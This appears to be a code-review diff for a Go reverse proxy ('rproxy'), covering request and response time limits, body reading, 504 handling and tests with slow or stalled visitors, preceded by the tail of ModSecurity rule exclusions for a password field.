ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
||||
|
||||
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
||||
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
@@ -31,11 +32,24 @@ type requestBody struct {
|
||||
received atomic.Bool
|
||||
// bytes is how much of the body has been read.
|
||||
bytes atomic.Int64
|
||||
|
||||
// mu is held for the whole of each Read, and guards stopped.
|
||||
mu sync.Mutex
|
||||
// stopped is true once the body no longer goes to the app; Read then reads
|
||||
// no more.
|
||||
stopped bool
|
||||
}
|
||||
|
||||
// Read reads from the visitor's body, after the part held, which has been
|
||||
// counted already.
|
||||
func (b *requestBody) Read(p []byte) (int, error) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
|
||||
if b.stopped {
|
||||
return 0, http.ErrBodyReadAfterClose
|
||||
}
|
||||
|
||||
if len(b.held) > 0 {
|
||||
n := copy(p, b.held)
|
||||
b.held = b.held[n:]
|
||||
@@ -60,9 +74,11 @@ func (b *requestBody) Read(p []byte) (int, error) {
|
||||
return n, err
|
||||
}
|
||||
|
||||
// Close closes the visitor's body.
|
||||
// Close does nothing: Go's server closes the visitor's body once the handler
|
||||
// returns. Closing it earlier, as the transport and ReverseProxy do, would wait
|
||||
// for a Read in progress and then read up to 256 KiB more of the body.
|
||||
func (b *requestBody) Close() error {
|
||||
return b.body.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
// responseBody is the app's response body on its way to the visitor.
|
||||
@@ -163,6 +179,8 @@ type responseWriter struct {
|
||||
// status is the final status sent, or zero before one is.
|
||||
status int
|
||||
bytes int64
|
||||
// afterStatus, if set, is called once the final status has been written.
|
||||
afterStatus func()
|
||||
}
|
||||
|
||||
// WriteHeader sends the status and headers. An informational 1xx status is
|
||||
@@ -173,6 +191,10 @@ func (w *responseWriter) WriteHeader(status int) {
|
||||
}
|
||||
|
||||
w.ResponseWriter.WriteHeader(status)
|
||||
|
||||
if status >= http.StatusOK && w.afterStatus != nil {
|
||||
w.afterStatus()
|
||||
}
|
||||
}
|
||||
|
||||
// Write sends part of the body.
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
@@ -378,12 +379,19 @@ type deadlineRecorder struct {
|
||||
|
||||
readDeadline time.Time
|
||||
writeDeadline time.Time
|
||||
// stalled, if set, sends the part of the request body that never arrives. A
|
||||
// read deadline that has passed ends a read of it, as on a connection.
|
||||
stalled *io.PipeWriter
|
||||
}
|
||||
|
||||
// SetReadDeadline notes deadline.
|
||||
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
|
||||
w.readDeadline = deadline
|
||||
|
||||
if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
|
||||
_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -422,7 +430,7 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
|
||||
req.ContentLength = announced
|
||||
req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
|
||||
|
||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
|
||||
|
||||
before := time.Now()
|
||||
|
||||
@@ -481,6 +489,30 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const least = 10 * time.Second
|
||||
|
||||
standIn := startDiscriminator(t, deny)
|
||||
app := startApp(t, greet)
|
||||
_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
||||
maxResponseTime: "300",
|
||||
})
|
||||
|
||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
||||
|
||||
before := time.Now()
|
||||
|
||||
server.Handler.ServeHTTP(w, req)
|
||||
|
||||
if w.writeDeadline.Before(before.Add(least)) {
|
||||
t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
|
||||
w.writeDeadline, least)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -601,6 +633,68 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// Four visitors at a time, each with an app and rproxy of its own, send more
|
||||
// requests in the same time.
|
||||
for visitor := range 4 {
|
||||
t.Run(strconv.Itoa(visitor), func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
visitAsTheTimeRunsOut(t)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// visitAsTheTimeRunsOut sends requests to an app that answers about as
|
||||
// SWRP_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the
|
||||
// app's 200 or a 504.
|
||||
func visitAsTheTimeRunsOut(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
const limit = 50 * time.Millisecond
|
||||
|
||||
// answerAfter is how long the app waits before it answers.
|
||||
var answerAfter atomic.Int64
|
||||
|
||||
backend := startDiscriminatorAnsweringReports(t, allow,
|
||||
func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusNoContent)
|
||||
})
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
time.Sleep(time.Duration(answerAfter.Load()))
|
||||
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
})
|
||||
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
|
||||
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
||||
})
|
||||
|
||||
// After each 200 the app answers a little later, and after each 504 a little
|
||||
// sooner, so that most of its answers arrive as the time runs out.
|
||||
delay, step := limit/2, limit/4
|
||||
|
||||
for range 60 {
|
||||
answerAfter.Store(int64(delay))
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
||||
|
||||
switch status := readStatus(t, conn); status {
|
||||
case http.StatusOK:
|
||||
delay += step
|
||||
case http.StatusGatewayTimeout:
|
||||
delay -= step
|
||||
default:
|
||||
t.Fatalf("status %d, want the app's 200 or 504", status)
|
||||
}
|
||||
|
||||
_ = conn.Close()
|
||||
step = max(step/2, 20*time.Microsecond)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -728,6 +822,94 @@ func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.
|
||||
}
|
||||
}
|
||||
|
||||
// answerBeforeTheBody is an app that sends its whole answer, greeting, before it
|
||||
// reads the request's body, and then reads the body.
|
||||
func answerBeforeTheBody(w http.ResponseWriter, r *http.Request) {
|
||||
rc := http.NewResponseController(w)
|
||||
_ = rc.EnableFullDuplex()
|
||||
|
||||
w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
_ = rc.Flush()
|
||||
|
||||
_, _ = io.Copy(io.Discard, r.Body)
|
||||
}
|
||||
|
||||
// sendAllButALittle sends a POST whose body stops short of its announced
|
||||
// length, by less than Go's server reads of a body left unread before it
|
||||
// answers.
|
||||
func sendAllButALittle(t *testing.T, conn net.Conn) {
|
||||
t.Helper()
|
||||
|
||||
send(t, conn, post+announcedLength(2*questionBodyMaxBytes)+
|
||||
strings.Repeat("x", questionBodyMaxBytes+1))
|
||||
}
|
||||
|
||||
// readAnswer reads the whole answer from conn.
|
||||
func readAnswer(t *testing.T, conn net.Conn) answered {
|
||||
t.Helper()
|
||||
|
||||
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
|
||||
if err != nil {
|
||||
t.Fatalf("read the answer: %v", err)
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(res.Body)
|
||||
_ = res.Body.Close()
|
||||
|
||||
if err != nil {
|
||||
t.Fatalf("read the answer's body: %v", err)
|
||||
}
|
||||
|
||||
return answered{res.StatusCode, res.Header, string(body)}
|
||||
}
|
||||
|
||||
func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, answerBeforeTheBody)
|
||||
// The request time limit is longer than the 10 seconds the status and headers
|
||||
// of an answer have to be sent, and than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "15000",
|
||||
maxResponseTime: "300",
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
sendAllButALittle(t, conn)
|
||||
|
||||
wantGreeting(t, readAnswer(t, conn))
|
||||
}
|
||||
|
||||
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const limit = 2 * time.Second
|
||||
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, answerBeforeTheBody)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
start := time.Now()
|
||||
|
||||
sendAllButALittle(t, conn)
|
||||
wantGreeting(t, readAnswer(t, conn))
|
||||
|
||||
// If the connection stays open, dial's deadline ends this read with a timeout.
|
||||
rest, err := io.ReadAll(conn)
|
||||
if err != nil || len(rest) != 0 {
|
||||
t.Errorf("read %q (%v), want the connection closed", rest, err)
|
||||
}
|
||||
|
||||
if closed := time.Since(start); closed < limit {
|
||||
t.Errorf("the connection closed after %s, want %s at least", closed, limit)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -792,7 +974,7 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorThatStopsSendingGetsAnAnswerRProxyGivesByTheDeadline(t *testing.T) {
|
||||
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -811,14 +993,15 @@ func TestAVisitorThatStopsSendingGetsAnAnswerRProxyGivesByTheDeadline(t *testing
|
||||
|
||||
standIn := startDiscriminator(t, deny)
|
||||
app := startApp(t, greet)
|
||||
// The time limit is long enough for a loaded host to read the first part of
|
||||
// the body before it runs out.
|
||||
// The request time limit is longer than the 10 seconds an answer rproxy
|
||||
// gives itself has to be sent, and than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "3000",
|
||||
maxRequestTime: "15000",
|
||||
maxResponseTime: "300",
|
||||
})
|
||||
|
||||
// Go's server waits for a little of the body left before it sends an answer,
|
||||
// and the time for sending the request ends that wait.
|
||||
// The body stops 100 bytes short, less than Go's server reads of a body
|
||||
// left unread before it answers.
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, tc.start+announcedLength(questionBodyMaxBytes+100)+
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
+74
-46
@@ -32,6 +32,17 @@ const reportStatusMax = 599
|
||||
// plainText is the Content-Type of the answers rproxy gives itself.
|
||||
const plainText = "text/plain; charset=utf-8"
|
||||
|
||||
// minSendTime is the least time to send an answer rproxy gives itself, or the
|
||||
// status and headers of the app's answer. A shorter time can run out before the
|
||||
// first byte is written, on a busy host or as SWRP_MAX_RESPONSE_TIME_MS runs out,
|
||||
// and the visitor then gets a closed connection and no answer.
|
||||
const minSendTime = 10 * time.Second
|
||||
|
||||
// errResponseTooLate refuses an app's answer that arrives once
|
||||
// SWRP_MAX_RESPONSE_TIME_MS has run out.
|
||||
var errResponseTooLate = errors.New(
|
||||
"the answer arrived after SWRP_MAX_RESPONSE_TIME_MS ran out")
|
||||
|
||||
// request is one request on its way through rproxy, from the moment its headers
|
||||
// have been read to its log line and report.
|
||||
type request struct {
|
||||
@@ -72,8 +83,8 @@ type request struct {
|
||||
upgraded *upgradedConn
|
||||
|
||||
// mu guards what follows. The time limits run on goroutines of their own,
|
||||
// and the transport starts and stops them, and notes the times below, from
|
||||
// its own; once timersStopped is set, neither time limit acts any more.
|
||||
// and the transport starts and stops them, and notes requestEnd, from its
|
||||
// own; once timersStopped is set, neither time limit acts any more.
|
||||
mu sync.Mutex
|
||||
timersStopped bool
|
||||
requestTimer *time.Timer
|
||||
@@ -81,8 +92,6 @@ type request struct {
|
||||
// requestEnd is when the app had been sent the whole request, or the answer
|
||||
// started, if that was sooner.
|
||||
requestEnd time.Time
|
||||
// answerStarted is when the first byte of the app's answer arrived.
|
||||
answerStarted time.Time
|
||||
}
|
||||
|
||||
// newRequest starts handling r: it notes the time, works out the visitor from
|
||||
@@ -166,8 +175,7 @@ func (rq *request) forward(ctx context.Context) {
|
||||
|
||||
rq.cancel = cancel
|
||||
ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{
|
||||
WroteRequest: rq.wroteRequest,
|
||||
GotFirstResponseByte: rq.gotFirstResponseByte,
|
||||
WroteRequest: rq.wroteRequest,
|
||||
})
|
||||
|
||||
out := rq.in.WithContext(ctx)
|
||||
@@ -237,6 +245,17 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
requestEnd := rq.endRequest()
|
||||
|
||||
// An answer that arrives once SWRP_MAX_RESPONSE_TIME_MS has run out is not
|
||||
// passed on: the visitor is answered 504.
|
||||
limit := rq.h.config.MaxResponseTime
|
||||
if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) {
|
||||
rq.refuse(http.StatusGatewayTimeout)
|
||||
|
||||
return errResponseTooLate
|
||||
}
|
||||
|
||||
maxBytes := rq.h.config.MaxResponseSize
|
||||
if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
|
||||
rq.refuse(http.StatusBadGateway)
|
||||
@@ -251,8 +270,10 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
||||
rq.out.Header()["Content-Type"] = nil
|
||||
}
|
||||
|
||||
rq.closeAfterAnswer()
|
||||
|
||||
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
||||
rq.setResponseDeadline()
|
||||
rq.out.afterStatus = rq.setResponseDeadline
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -318,22 +339,33 @@ func (rq *request) send(status int, body []byte) {
|
||||
rq.out.Header().Set("Content-Length", strconv.Itoa(len(body)))
|
||||
}
|
||||
|
||||
rq.closeAfterAnswer()
|
||||
rq.out.WriteHeader(status)
|
||||
_, _ = rq.out.Write(body)
|
||||
_ = rq.rc.Flush()
|
||||
}
|
||||
|
||||
// closeAfterAnswer has Go's server send the answer at once, and close the
|
||||
// connection after it, when the visitor's body has not arrived whole. Without
|
||||
// it, Go's server reads up to 256 KiB of the body left before it sends an
|
||||
// answer, and so waits on a visitor that has stopped sending.
|
||||
func (rq *request) closeAfterAnswer() {
|
||||
if rq.body != nil && !rq.body.received.Load() {
|
||||
rq.out.Header().Set("Connection", "close")
|
||||
}
|
||||
}
|
||||
|
||||
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
|
||||
// reading of a body that has not arrived whole ends at deadline, and the answer
|
||||
// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
|
||||
// used that time up first.
|
||||
// used that time up first, and at least minSendTime.
|
||||
func (rq *request) prepareOwnAnswer(deadline time.Time) {
|
||||
rq.stopReadingBody(deadline)
|
||||
rq.endRequest()
|
||||
|
||||
limit := rq.h.config.MaxResponseTime
|
||||
if limit > 0 {
|
||||
_ = rq.rc.SetWriteDeadline(time.Now().Add(limit))
|
||||
_ = rq.rc.SetWriteDeadline(time.Now().Add(max(limit, minSendTime)))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -353,7 +385,7 @@ func (rq *request) finish(ctx context.Context) {
|
||||
rq.stopTimers()
|
||||
|
||||
if rq.refused.Load() == 0 {
|
||||
rq.stopReadingBody(rq.requestDeadline())
|
||||
rq.stopPassingOnBody()
|
||||
}
|
||||
|
||||
requestEnd := rq.endRequest()
|
||||
@@ -440,6 +472,26 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
||||
_ = rq.rc.SetReadDeadline(deadline)
|
||||
}
|
||||
|
||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||
// not arrived whole, and lets Go's server read the rest until
|
||||
// SWRP_MAX_REQUEST_TIME_MS runs out. Go's server reads it once the handler
|
||||
// returns, but with no deadline at all if another read of it is still waiting.
|
||||
func (rq *request) stopPassingOnBody() {
|
||||
if rq.body == nil || rq.body.received.Load() {
|
||||
return
|
||||
}
|
||||
|
||||
// A deadline that has passed ends a Read that waits, and the lock waits for
|
||||
// that Read to return.
|
||||
_ = rq.rc.SetReadDeadline(time.Now())
|
||||
|
||||
rq.body.mu.Lock()
|
||||
rq.body.stopped = true
|
||||
rq.body.mu.Unlock()
|
||||
|
||||
rq.stopReadingBody(rq.requestDeadline())
|
||||
}
|
||||
|
||||
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
|
||||
// request's headers being read until the app has been sent the whole request.
|
||||
func (rq *request) startRequestTimer() {
|
||||
@@ -468,16 +520,6 @@ func (rq *request) requestTimedOut() {
|
||||
}
|
||||
|
||||
if rq.body == nil || !rq.body.waiting.Load() {
|
||||
// Once the app has answered, the transport, ReverseProxy and Go's server
|
||||
// each close the visitor's body, and closing it reads what is left of a
|
||||
// body under 256 KiB without requestBody.Read, so waiting is false while
|
||||
// that read waits for the visitor. That read ends now, before refuse:
|
||||
// should rproxy still answer itself, answer then sets the deadline it
|
||||
// gives its own answers.
|
||||
if !rq.answerStarted.IsZero() {
|
||||
rq.stopReadingBody(time.Now())
|
||||
}
|
||||
|
||||
rq.refuse(http.StatusGatewayTimeout)
|
||||
|
||||
return
|
||||
@@ -490,15 +532,6 @@ func (rq *request) requestTimedOut() {
|
||||
_ = rq.rc.SetReadDeadline(time.Now())
|
||||
}
|
||||
|
||||
// gotFirstResponseByte is called once the first byte of the app's answer has
|
||||
// arrived.
|
||||
func (rq *request) gotFirstResponseByte() {
|
||||
rq.mu.Lock()
|
||||
defer rq.mu.Unlock()
|
||||
|
||||
rq.answerStarted = time.Now()
|
||||
}
|
||||
|
||||
// wroteRequest is called once the app has been sent the whole request:
|
||||
// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts.
|
||||
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
||||
@@ -535,30 +568,25 @@ func (rq *request) responseTimedOut() {
|
||||
}
|
||||
}
|
||||
|
||||
// responseReceived is called once the app has sent its whole answer. An app may
|
||||
// answer before the visitor has sent its whole body, as with a 404 it sends
|
||||
// without reading it. The time limits then run on: until the transport's read of
|
||||
// the body returns, Go's server cannot send the answer, and
|
||||
// SWRP_MAX_REQUEST_TIME_MS is what ends that read for a visitor that stops
|
||||
// sending.
|
||||
// responseReceived is called once the app has sent its whole answer.
|
||||
func (rq *request) responseReceived() {
|
||||
if rq.body != nil && !rq.body.received.Load() {
|
||||
return
|
||||
}
|
||||
|
||||
rq.stopTimers()
|
||||
}
|
||||
|
||||
// setResponseDeadline sets SWRP_MAX_RESPONSE_TIME_MS on the connection to the
|
||||
// visitor: the app's answer must reach the visitor within it of the end of the
|
||||
// request.
|
||||
// setResponseDeadline sends the status and headers of the app's answer, with
|
||||
// at least minSendTime, before ReverseProxy reads the answer's body, and then
|
||||
// the rest has until SWRP_MAX_RESPONSE_TIME_MS after the end of the request.
|
||||
func (rq *request) setResponseDeadline() {
|
||||
requestEnd := rq.endRequest()
|
||||
|
||||
limit := rq.h.config.MaxResponseTime
|
||||
if limit > 0 {
|
||||
_ = rq.rc.SetWriteDeadline(requestEnd.Add(limit))
|
||||
if limit == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
deadline := rq.endRequest().Add(limit)
|
||||
|
||||
_ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime)))
|
||||
_ = rq.rc.Flush()
|
||||
_ = rq.rc.SetWriteDeadline(deadline)
|
||||
}
|
||||
|
||||
// endRequest notes now as the end of the request, unless an end is noted, and
|
||||
|
||||
Reference in new issue
Block a user